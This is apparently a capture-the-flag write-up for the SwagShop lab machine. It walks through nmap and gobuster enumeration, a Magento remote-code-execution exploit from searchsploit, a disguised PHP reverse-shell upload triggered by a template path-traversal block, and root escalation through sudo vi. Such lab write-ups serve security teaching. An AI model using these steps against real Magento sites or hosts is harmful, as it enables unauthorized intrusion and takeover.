SwagShop

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.140 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, port 22 (SSH) and port 80 (HTTP) are open. Let's try to obtain more information about the services and versions running on those ports.

nmap -sC -sV -p22,80 10.10.10.140 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

We see in the nmap scan, that the HTTP server redirects to http://swagshop.htb. Let's add the domain to the /etc/hosts file.

nano /etc/hosts

Now we can take a look at the website.

It is an online shop. If we take a look at the Wappalyzer extension, we'll see that it is a Magento CMS.

Wappalyzer is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.

https://www.wappalyzer.com/

Let's enumerate directories with gobuster. Note that the URL is http://swagshop.htb/index.php/.

gobuster dir -u http://swagshop.htb/index.php/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

Exploitation

Lets' search for any Magento common exploits.

searchsploit magento

Now, let's copy the Remote Code Execution one to the current directory.

searchsploit -m xml/webapps/37977.py

Before executing it, we'll have to modify it.

nano 37977.py

We'll have to delete everything before the first import, and everything after the last print statement. And then, we'll have to change the domain name to swagshop.htb, and add the /index.php directory to the target variable.

Now we can run the script. We'll have to run it with Python2.

python2 37977.py

Now we can go to http://swagshop.htb/index.php/admin and log in with the forme:forme credentials.

Then, we'll see the Dashboard page.

Time to get a shell. First, let's create a PHP file which will send us a reverse shell. We'll have to name it revshell.php.png, because we'll be uploading it later to the website as an image.

Now, we'll have to go to the Configuration page.

Go to the Developer section, at the bottom of the page.

And go to the Template Settings, and set the Allow Symlinks to Yes. Then click on Save Config.

Now, let's go to the Manage Categories section.

Then, fill the name field with some random text, and upload the PHP file to the Thumbnail Image field and the Image field. And hit the Save Category button.

Then, go to the Newsletter Templates section, and hit the Add New Template button.

Here, we'll have to put a random template name and subject. Then, add the following to the text field, and hit the Save Template button.

{{block type="core/template" template="../../../../../../media/catalog/category/revshell.php.png"}}

Now, we'll have to set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then, press on the template we have created.

And finally, if we hit the Preview Template button, we should get the reverse shell as the www-data user, on the netcat listener. Then, we could grab the user flag.

Privilege Escalation

First of all, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

Back on the victim machine, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

Let's list the sudo privileges of the www-data user.

sudo -l

  • -l list user privileges.

So the www-data user can run /usr/bin/vi on any file inside the /var/www/html directory.

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions:

https://gtfobins.github.io/

If we search for vi in the GTFOBins list, we can see that we can spawn a shell as root with the sudo privilege running the following command:

sudo /usr/bin/vi /var/www/html/test -c ':!/bin/bash'

And indeed, we get a shell as the root user. All we have to do now is reap the harvest and grab the root flag.

Last updated

Was this helpful?